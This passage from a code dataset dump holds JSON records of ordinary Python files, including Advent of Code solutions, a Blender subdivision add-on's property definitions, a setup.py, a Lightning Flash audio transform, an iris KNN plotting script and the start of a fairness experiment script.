"pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "scipy.linalg.dft", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.real", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}]} {"seq_id": "29039797240", "text": "import re\nfrom itertools import chain\n\n\ndef parse_dish(line):\n dish, allergens = re.match('(.+?) \\(contains (.+?)\\)', line).groups()\n return dish.split(), allergens.split(', ')\n\n\ndef find_allergens(dishes):\n allergens = dict()\n tmp = dict()\n for dish_ing, dish_allerg in dishes:\n for a in dish_allerg:\n tmp.setdefault(a, set(dish_ing)).intersection_update(dish_ing)\n while tmp:\n allergen, ingredient = next((a, ing) for a, ing in tmp.items() if len(ing) == 1)\n allergens[next(iter(ingredient))] = allergen\n del tmp[allergen]\n for v in tmp.values():\n v -= ingredient\n return allergens\n\n\ndef star1():\n dishes = [parse_dish(line.strip()) for line in open('input.txt')]\n allergens = find_allergens(dishes)\n print(sum(1 for ingridient in chain.from_iterable(d[0] for d in dishes) if ingridient not in allergens))\n\n\ndef star2():\n dishes = [parse_dish(line.strip()) for line in open('input.txt')]\n allergens = find_allergens(dishes)\n print(','.join(sorted(allergens.keys(), key=allergens.get)))\n\n\nprint('Star 1:')\nstar1()\nprint('Star 2:')\nstar2()\n", "repo_name": "tkirill/adventofcode", "sub_path": "2020/21.py", "file_name": "21.py", "file_ext": "py", "file_size_in_byte": 1136, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.match", "line_number": 6, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 28, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 28, "usage_type": "name"}]} {"seq_id": "25368399220", "text": "import bpy\nfrom . import misc_functions\n\nfrom bpy.props import (StringProperty, BoolProperty, IntProperty, FloatProperty, FloatVectorProperty, EnumProperty, PointerProperty)\nfrom bpy.types import (Panel, Operator, AddonPreferences, PropertyGroup)\n\ndef neltulzSubD_setSpecificSubDLevel(self, context):\n if bpy.context.selected_objects:\n bpy.ops.ntzqcksubd.specificlevelchange()\n\ndef neltulzSubD_UpdateAdvancedSettings(self, context):\n \n if bpy.context.selected_objects:\n \n # when mass updating advanced settings, they will try to loop and update a lot. \n # This condition prevents this from happening\n if not context.scene.neltulzSubD.busyUpdatingAdvancedSettings:\n \n bpy.ops.ntzqcksubd.updatealladvsettings()\n \n else:\n pass\n #Loop prevented\n\ndef neltulzSubD_useAdvancedSettings_toggled(self, context):\n # when mass updating advanced settings, they will try to loop and update a lot. \n # This condition prevents this from happening\n if not context.scene.neltulzSubD.busyUpdatingAdvancedSettings:\n scene = context.scene\n\n sel_objs = [obj for obj in bpy.context.selected_objects if obj.type == 'MESH']\n\n foundModifierOrCustomProp = False\n\n # loop through all of the selected objects, if a modifier or custom prop is found, then when the user\n # clicks the \"Use Advanced Settings\" checkbox, update all of the settings on the SubD modifier.\n # Otherwise, if NOTHING is found, then merely toggle the advanced settings menu without doing anything.\n \n # Limitation: If multiple objects are selected and a SubD Modifier or custom prop is found, then any\n # other objects in the selection (without subd modifiers and props) will have theirs recreated.\n for obj in sel_objs:\n\n neltulzSubD_modifier = misc_functions.getNeltulzSubD_modifier(self, context, obj)\n neltulzSubDLevelCustomProp = misc_functions.getCustomSubDProperty(self, context, obj)\n\n if neltulzSubD_modifier is not None:\n foundModifierOrCustomProp = True\n break\n elif neltulzSubDLevelCustomProp is not None:\n foundModifierOrCustomProp = True\n break\n\n if foundModifierOrCustomProp:\n neltulzSubD_UpdateAdvancedSettings(self, context)\n \n else:\n pass\n #Loop prevented\n \n\ndef neltulzSubD_DisableAllEdgeColorsFunc(self, context):\n if context.scene.neltulzSubD.disableAllEdgeColorsBool:\n bpy.context.space_data.overlay.show_edge_crease = False\n bpy.context.space_data.overlay.show_edge_sharp = False\n bpy.context.space_data.overlay.show_edge_bevel_weight = False\n bpy.context.space_data.overlay.show_edge_seams = False\n context.scene.neltulzSubD.disableAllEdgeColorsBool = False\n\ndef neltulzSubD_EnableAllEdgeColorsFunc(self, context):\n if context.scene.neltulzSubD.enableAllEdgeColorsBool:\n bpy.context.space_data.overlay.show_edge_crease = True\n bpy.context.space_data.overlay.show_edge_sharp = True\n bpy.context.space_data.overlay.show_edge_bevel_weight = True\n bpy.context.space_data.overlay.show_edge_seams = True\n context.scene.neltulzSubD.enableAllEdgeColorsBool = False\n\n\nclass NTZQSUBD_ignitproperties(PropertyGroup):\n\n bShowHideLevelChangeOptions : BoolProperty (\n name=\"Change SubD Level\",\n description=\"Shows options for changing SubD Level\",\n default = True,\n )\n\n bShowHideOptions : BoolProperty (\n name=\"Show/Hide Options\",\n description=\"Reveals options.\",\n default = False,\n )\n\n changeLevel_PopoverEnum_List = [\n (\"CHANGE_LEVEL\", \"Change SubD Level\", \"\", \"\", 0),\n ]\n\n changeLevel_PopoverEnum : EnumProperty (\n items = changeLevel_PopoverEnum_List,\n name = \"Change Level Popover Enum\",\n description = \"Change Level Popover Enum\",\n default = \"CHANGE_LEVEL\"\n )\n\n changeLevel_CompactPopoverEnum_List = [\n (\"CHANGE_LEVEL\", \"SubD Lvl\", \"\", \"\", 0),\n ]\n\n changeLevel_CompactPopoverEnum : EnumProperty (\n items = changeLevel_CompactPopoverEnum_List,\n name = \"Change Level Popover Enum\",\n description = \"Change Level Popover Enum\",\n default = \"CHANGE_LEVEL\"\n )\n\n options_PopoverEnum_List = [\n (\"OPTIONS\", \"Options\", \"\", \"\", 0),\n ]\n\n options_PopoverEnum : EnumProperty (\n items = options_PopoverEnum_List,\n name = \"Options Popover Enum\",\n description = \"Options Popover Enum\",\n default = \"OPTIONS\"\n )\n\n subd_change_method = [\n (\"1\", \"Relative\", \"RELATIVE_CHANGE\"),\n (\"2\", \"Specific\", \"SPECIFIC_CHANGE\"),\n ]\n\n changeMethod : EnumProperty(\n items=subd_change_method,\n description=\"Default: Relative: Determines whether to change subdivision levels relative to the selected object's current level, or Specific: Set the level specifically to the one you want.\",\n default=\"1\"\n )\n\n specificSubDLevel : IntProperty(\n name=\"Specific SubD Level\",\n description=\"Set the SubD of your object to a specific level\",\n default = 1,\n min = 0,\n max = 11\n )\n\n toggleGeneralOptionsBool : BoolProperty(\n name=\"Toggle General options\",\n default = True\n )\n\n toggleOverlayOptionsBool : BoolProperty(\n name=\"Toggle Overlay options\",\n default = True\n )\n \n disableAllEdgeColorsBool : BoolProperty(\n name=\"Disable all Edge Colors\",\n description=\"Default: False: Disables all edge colors to make SubD easier to visualize\",\n default = False,\n update=neltulzSubD_DisableAllEdgeColorsFunc\n )\n\n enableAllEdgeColorsBool : BoolProperty(\n name=\"Disable all Edge Colors\",\n description=\"Default: False: Enables all edge colors\",\n default = False,\n update=neltulzSubD_EnableAllEdgeColorsFunc\n )\n\n showAdvancedSettings : BoolProperty(\n name=\"Show Advanced Settings\",\n description=\"Show Advanced Settings\",\n default = True\n )\n\n advancedSettings : BoolProperty(\n name=\"Checkbox Name\",\n description=\"Default: Off: Use advanced settings\",\n default = False,\n update=neltulzSubD_useAdvancedSettings_toggled\n )\n\n \n busyUpdatingAdvancedSettings : BoolProperty(\n name=\"Busy updating advanced settings\",\n description=\"Default: False: Prevents lots of looping\",\n default = False\n )\n\n useCustomRenderLevel : BoolProperty(\n name=\"Default: Off: Use Custom Render Level (Checkbox)\",\n description=\"Allows you to set a custom subdivision render level. Use this to make your render higher quality! Caution: values greater than 6 can result in extreme lag, or program instability\",\n default = False,\n update=neltulzSubD_UpdateAdvancedSettings\n )\n\n customRenderLevel : IntProperty(\n name=\"Custom Render Level\",\n description=\"Default: 3: Allows you to set a custom subdivision render level. Use this to make your render higher quality! Caution: values greater than 6 can result in extreme lag, or program instability. (Max: 11)\",\n default = 3,\n min = 0,\n max = 11,\n soft_max = 6,\n update=neltulzSubD_UpdateAdvancedSettings\n )\n\n vertexQuality : IntProperty(\n name=\"Quality\",\n description=\"Default: 3: Accuracy of vertex positions, lower value is faster but less precise. (Max: 10)\",\n default = 3,\n min = 0,\n max = 10,\n soft_max = 6,\n update=neltulzSubD_UpdateAdvancedSettings\n )\n\n \n useCreases : BoolProperty(\n name=\"Use Creases\",\n description=\"Default: True: Use mesh edge crease information to sharpen edges\",\n default = True,\n update=neltulzSubD_UpdateAdvancedSettings\n )\n\n uvsmooth_items = [\n (\"1\", \"Sharp\", \"NONE\"),\n (\"2\", \"Smooth, Keep Corners\", \"PRESERVE_CORNERS\"),\n ]\n\n uvSmoothing : EnumProperty(\n items=uvsmooth_items,\n description=\"Default: Smooth: Controls how smoothing is applied to UVs\",\n default=\"2\",\n update=neltulzSubD_UpdateAdvancedSettings\n )\n\n subd_algorithims = [\n (\"1\", \"Catmull-Clark\", \"CATMULL CLARK\"),\n (\"2\", \"Simple\", \"SIMPLE\"),\n ]\n\n algorithms : EnumProperty(\n items=subd_algorithims,\n description=\"Default: Catmull-Clark: Type of subdivision algorithm\",\n default=\"1\",\n update=neltulzSubD_UpdateAdvancedSettings\n )\n\n disableConflictingModifiersBool : BoolProperty(\n name=\"Disable Conflicting Modifiers\",\n description=\"Default: True: Automatically disables any conflicting modifiers\",\n default = False\n )\n\n keepSubDatBottomBool : BoolProperty(\n name=\"Keep SubD Modifier at Bottom\",\n description=\"Default: True: Automatically moves the Neltulz SubD modifier to the bottom of the modifier stack so that it can smooth the object after other modifiers\",\n default = True\n )\n \n pickBestShadingBool : BoolProperty(\n name=\"Pick Best Shading\",\n description='Default: True: Automatically picks the best shading (Smooth shade or Flat shade) based on which SubD mode is active, and also enables/disables \"Normal Auto smooth\" based on which subD mode is active.',\n default = True\n )\n\n showPolyCountWarningsBool : BoolProperty(\n name=\"Show Poly Count Warnings\",\n description='Default: True: Shows warnings if your poly count is very high before subdividing further to help prevent program instability and very long freezes.',\n default = True\n )\n\n resultingPolyCount : FloatProperty(\n name = \"Resulting Poly Count\",\n description = \"The resulting poly count of the getPolyCount function\",\n default = 0\n )\n\n resultingPolyCountString : StringProperty(\n name = \"Resulting Poly Count String\",\n description = \"The resulting poly count of the getPolyCount function as string form with commas\",\n default = \"\"\n )", "repo_name": "Neltulz/Neltulz_Quick_SubD", "sub_path": "properties.py", "file_name": "properties.py", "file_ext": "py", "file_size_in_byte": 10215, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "7", "api": [{"api_name": "bpy.context", "line_number": 8, "usage_type": "attribute"}, {"api_name": "bpy.ops.ntzqcksubd.specificlevelchange", "line_number": 9, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 9, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 13, "usage_type": "attribute"}, {"api_name": "bpy.ops.ntzqcksubd.updatealladvsettings", "line_number": 19, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 19, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 31, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 63, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 64, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 65, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 66, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 71, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 72, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 73, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 74, "usage_type": "attribute"}, {"api_name": "bpy.types.PropertyGroup", "line_number": 78, "usage_type": "name"}, {"api_name": "bpy.props.BoolProperty", "line_number": 80, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 86, "usage_type": "call"}, {"api_name": "bpy.props.EnumProperty", "line_number": 96, "usage_type": "call"}, {"api_name": "bpy.props.EnumProperty", "line_number": 107, "usage_type": "call"}, {"api_name": "bpy.props.EnumProperty", "line_number": 118, "usage_type": "call"}, {"api_name": "bpy.props.EnumProperty", "line_number": 130, "usage_type": "call"}, {"api_name": "bpy.props.IntProperty", "line_number": 136, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 144, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 149, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 154, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 161, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 168, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 174, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 182, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 188, "usage_type": "call"}, {"api_name": "bpy.props.IntProperty", "line_number": 195, "usage_type": "call"}, {"api_name": "bpy.props.IntProperty", "line_number": 205, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 216, "usage_type": "call"}, {"api_name": "bpy.props.EnumProperty", "line_number": 228, "usage_type": "call"}, {"api_name": "bpy.props.EnumProperty", "line_number": 240, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 247, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 253, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 259, "usage_type": "call"}, {"api_name": "bpy.props.BoolProperty", "line_number": 265, "usage_type": "call"}, {"api_name": "bpy.props.FloatProperty", "line_number": 271, "usage_type": "call"}, {"api_name": "bpy.props.StringProperty", "line_number": 277, "usage_type": "call"}]} {"seq_id": "27458884385", "text": "import os\nimport sys\nfrom setuptools import setup\nfrom setuptools import find_packages\n\nfrom printus import release\n\nHERE = os.path.dirname(__file__)\n\nif not hasattr(sys, 'version_info') or sys.version_info < (2, 6, 0, 'final'):\n raise SystemExit(\"PrintUs requires Python 2.6 or later.\")\n\nwith open('README.rst') as fp:\n README = fp.read()\n\nwith open('CHANGES.rst') as fp:\n CHANGES = fp.read()\n\nwith open(os.path.join(HERE, 'requirements.txt')) as fp:\n requirements = fp.read()\n\n\nsetup(\n name = release.title,\n version = release.version,\n url = release.url,\n license = 'MIT',\n description = release.description,\n long_description = README + '\\n' + CHANGES,\n author = release.author,\n author_email = release.author_email,\n packages = find_packages(),\n include_package_data = True,\n zip_safe = False,\n platforms = 'any',\n install_requires = requirements,\n entry_points = \"\"\"\n [console_scripts]\n \"\"\",\n classifiers = [\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ]\n)\n", "repo_name": "matrixise/printus", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1538, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 23, "usage_type": "call"}, {"api_name": "printus.release.title", "line_number": 24, "usage_type": "attribute"}, {"api_name": "printus.release", "line_number": 24, "usage_type": "name"}, {"api_name": "printus.release.version", "line_number": 25, "usage_type": "attribute"}, {"api_name": "printus.release", "line_number": 25, "usage_type": "name"}, {"api_name": "printus.release.url", "line_number": 26, "usage_type": "attribute"}, {"api_name": "printus.release", "line_number": 26, "usage_type": "name"}, {"api_name": "printus.release.description", "line_number": 28, "usage_type": "attribute"}, {"api_name": "printus.release", "line_number": 28, "usage_type": "name"}, {"api_name": "printus.release.author", "line_number": 30, "usage_type": "attribute"}, {"api_name": "printus.release", "line_number": 30, "usage_type": "name"}, {"api_name": "printus.release.author_email", "line_number": 31, "usage_type": "attribute"}, {"api_name": "printus.release", "line_number": 31, "usage_type": "name"}, {"api_name": "setuptools.find_packages", "line_number": 32, "usage_type": "call"}]} {"seq_id": "44024816300", "text": "from dataclasses import dataclass\nfrom typing import Callable, Optional, Tuple\n\nimport torch\n\nfrom flash.core.data.io.input import DataKeys\nfrom flash.core.data.io.input_transform import InputTransform\nfrom flash.core.data.transforms import ApplyToKeys\nfrom flash.core.utilities.imports import _TORCHAUDIO_AVAILABLE, _TORCHVISION_AVAILABLE, requires\n\nif _TORCHVISION_AVAILABLE:\n from torchvision import transforms as T\n\nif _TORCHAUDIO_AVAILABLE:\n from torchaudio import transforms as TAudio\n\n\n@dataclass\nclass AudioClassificationInputTransform(InputTransform):\n spectrogram_size: Tuple[int, int] = (128, 128)\n time_mask_param: Optional[int] = None\n freq_mask_param: Optional[int] = None\n\n def train_per_sample_transform(self) -> Callable:\n transforms = []\n if self.time_mask_param is not None:\n transforms.append(TAudio.TimeMasking(time_mask_param=self.time_mask_param))\n\n if self.freq_mask_param is not None:\n transforms.append(TAudio.FrequencyMasking(freq_mask_param=self.freq_mask_param))\n\n transforms += [T.ToTensor(), T.Resize(self.spectrogram_size)]\n return T.Compose(\n [\n ApplyToKeys(DataKeys.INPUT, T.Compose(transforms)),\n ApplyToKeys(DataKeys.TARGET, torch.as_tensor),\n ]\n )\n\n @requires(\"audio\")\n def per_sample_transform(self) -> Callable:\n return T.Compose(\n [\n ApplyToKeys(DataKeys.INPUT, T.Compose([T.ToTensor(), T.Resize(self.spectrogram_size)])),\n ApplyToKeys(DataKeys.TARGET, torch.as_tensor),\n ]\n )\n", "repo_name": "Lightning-Universe/lightning-flash", "sub_path": "src/flash/audio/classification/input_transform.py", "file_name": "input_transform.py", "file_ext": "py", "file_size_in_byte": 1623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1717, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flash.core.utilities.imports._TORCHVISION_AVAILABLE", "line_number": 11, "usage_type": "name"}, {"api_name": "flash.core.utilities.imports._TORCHAUDIO_AVAILABLE", "line_number": 14, "usage_type": "name"}, {"api_name": "flash.core.data.io.input_transform.InputTransform", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 22, "usage_type": "name"}, {"api_name": "torchaudio.transforms.TimeMasking", "line_number": 27, "usage_type": "call"}, {"api_name": "torchaudio.transforms", "line_number": 27, "usage_type": "name"}, {"api_name": "torchaudio.transforms.FrequencyMasking", "line_number": 30, "usage_type": "call"}, {"api_name": "torchaudio.transforms", "line_number": 30, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 33, "usage_type": "name"}, {"api_name": "flash.core.data.transforms.ApplyToKeys", "line_number": 35, "usage_type": "call"}, {"api_name": "flash.core.data.io.input.DataKeys.INPUT", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flash.core.data.io.input.DataKeys", "line_number": 35, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 35, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 35, "usage_type": "name"}, {"api_name": "flash.core.data.transforms.ApplyToKeys", "line_number": 36, "usage_type": "call"}, {"api_name": "flash.core.data.io.input.DataKeys.TARGET", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flash.core.data.io.input.DataKeys", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.as_tensor", "line_number": 36, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 24, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 42, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 42, "usage_type": "name"}, {"api_name": "flash.core.data.transforms.ApplyToKeys", "line_number": 44, "usage_type": "call"}, {"api_name": "flash.core.data.io.input.DataKeys.INPUT", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flash.core.data.io.input.DataKeys", "line_number": 44, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 44, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 44, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torchvision.transforms.Resize", "line_number": 44, "usage_type": "call"}, {"api_name": "flash.core.data.transforms.ApplyToKeys", "line_number": 45, "usage_type": "call"}, {"api_name": "flash.core.data.io.input.DataKeys.TARGET", "line_number": 45, "usage_type": "attribute"}, {"api_name": "flash.core.data.io.input.DataKeys", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.as_tensor", "line_number": 45, "usage_type": "attribute"}, {"api_name": "flash.core.utilities.imports.requires", "line_number": 40, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 41, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 18, "usage_type": "name"}]} {"seq_id": "41806064007", "text": "# Quality of life imports\nfrom pathlib import Path\nfrom sys import modules\nfrom typing import final\n\nimport numpy as np\n\nfrom helpers import PyGameObj as pgo\n\n# Quality of life, define the input file location\nsrc = Path(modules['__main__'].__file__).resolve().parent\ninput_file_path = Path(src, \"input.txt\")\n\ninp = []\nwith open(input_file_path) as f:\n inp = np.array([list(map(int, list(y.strip()))) for y in f.readlines()])\n\n# I love how much cancer you can do with numpy\na = np.ones((len(inp[0]), len(inp[0])))\nmod_matrix = np.vstack(([np.hstack(( [a + x for x in range(0, 5) ] )) + y for y in range(0, 5)] )) - 1\n\nfinal_matrix = np.hstack(([inp] * 5))\nfinal_matrix = np.vstack(([final_matrix] * 5))\nfinal_matrix = final_matrix + mod_matrix\nfinal_matrix = np.where(final_matrix >= 10, final_matrix % 10 +1, final_matrix)\n\nsearch = pgo(final_matrix.flatten(), do_draw_calls=False)\nsearch.run()\n\ntotal = search.search.end.f\n\n\n\nprint(f\"The path cost is {total}\")\n", "repo_name": "Vi-Robitaille/src-advent-of-code", "sub_path": "src/python/2021/15/part2.py", "file_name": "part2.py", "file_ext": "py", "file_size_in_byte": 965, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pathlib.Path", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 11, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 25, "usage_type": "call"}, {"api_name": "helpers.PyGameObj", "line_number": 27, "usage_type": "call"}]} {"seq_id": "36328341626", "text": "#!@Author : Sanwat\n#!@File : .py\n\nfrom sklearn.neighbors import KNeighborsClassifier\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap #决策边界函数\nimport numpy as np\nfrom sklearn import datasets\n'''\n将上述结果绘制的2D散点图中，画出决策边界\n'''\niris= datasets.load_iris()\nx2=iris.data[:,:2]#所有行，第一列和第二列所有的值,即萼片的值\na=iris.target\n\nx2_min,x2_max= x2[:,0].min()-0.5, x2[:,0].max()+0.5\ny2_min,y2_max= x2[:,1].min()-0.5, x2[:,1].max()+0.5\n#MESH\ncmap_light= ListedColormap(['#AAAAFF','#AAFFAA','#FFAAAA'])\nh=0.02\nxx,yy= np.meshgrid(np.arange(x2_min,x2_max,h),np.arange(y2_min,y2_max,h))#设置图形的范围区域\nknn=KNeighborsClassifier()#调用k-近邻算法\ntrain_result=knn.fit(x2,a)#调用近邻算法的fit()函数进行训练\n'''\n接下来预测，预测值乃是未知值\n'''\nZ=knn.predict(np.c_[xx.ravel(),yy.ravel()])\nZ=Z.reshape(xx.shape)\nplt.figure(1)\nplt.scatter(x2[:,0],x2[:,1],c=a)#用三种颜色标出前两行的数据（即萼片），横坐标为第一列的值，纵坐标为第二列的值\nplt.xlim(xx.min(),xx.max())\nplt.ylim(yy.min(),yy.max())\nplt.title(\"the data of sepal\")\nplt.show()\n\nplt.figure(2)\nplt.pcolormesh(xx,yy,Z,cmap=cmap_light)#为整幅图划分三个颜色区域，划分依据：xx,yy,z。即预测结果\n#标出训练点\nplt.scatter(x2[:,0],x2[:,1],c=a)#用三种颜色标出前两行的数据（即萼片），横坐标为第一列的值，纵坐标为第二列的值\nplt.xlim(xx.min(),xx.max())\nplt.ylim(yy.min(),yy.max())\nplt.title(\"the data of sepal's training result\")\nplt.show()", "repo_name": "thj120000/python", "sub_path": "scikit-learn/用萼片测量数据画出决策边界.py", "file_name": "用萼片测量数据画出决策边界.py", "file_ext": "py", "file_size_in_byte": 1614, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sklearn.datasets.load_iris", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 27, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pcolormesh", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]} {"seq_id": "28232194825", "text": "import sys\nfrom os import path\nsys.path.append('.')\nsys.path.append('..')\nbase_dir = path.dirname(path.realpath(__file__)) + '/'\n\nimport numpy as np\nimport pandas as pd\nimport Dataset\nimport Perturbation\nimport Experiment\nimport StatisticalFairness\nimport json\nimport csv\n\n\n########################################################################\n# Setup\nif len(sys.argv) < 3:\n print(\"Usage: {} \".format(sys.argv[0]))\n sys.exit()\ndata_path = sys.argv[1]\nout_dir = sys.argv[2]\n\nwith open(data_path) as f:\n data = json.load(f)\ndomains = ['adult', 'compas', 'crime', 'german', 'health']\n\n\n########################################################################\n# Random Forest vs meta-silvae: statistical fairness\nwith open(out_dir + '/tab-comparison-statistical-fairness.tex', 'w') as f:\n f.write('\\\\begin{tabular}{| r | r r |}\\n')\n f.write(' 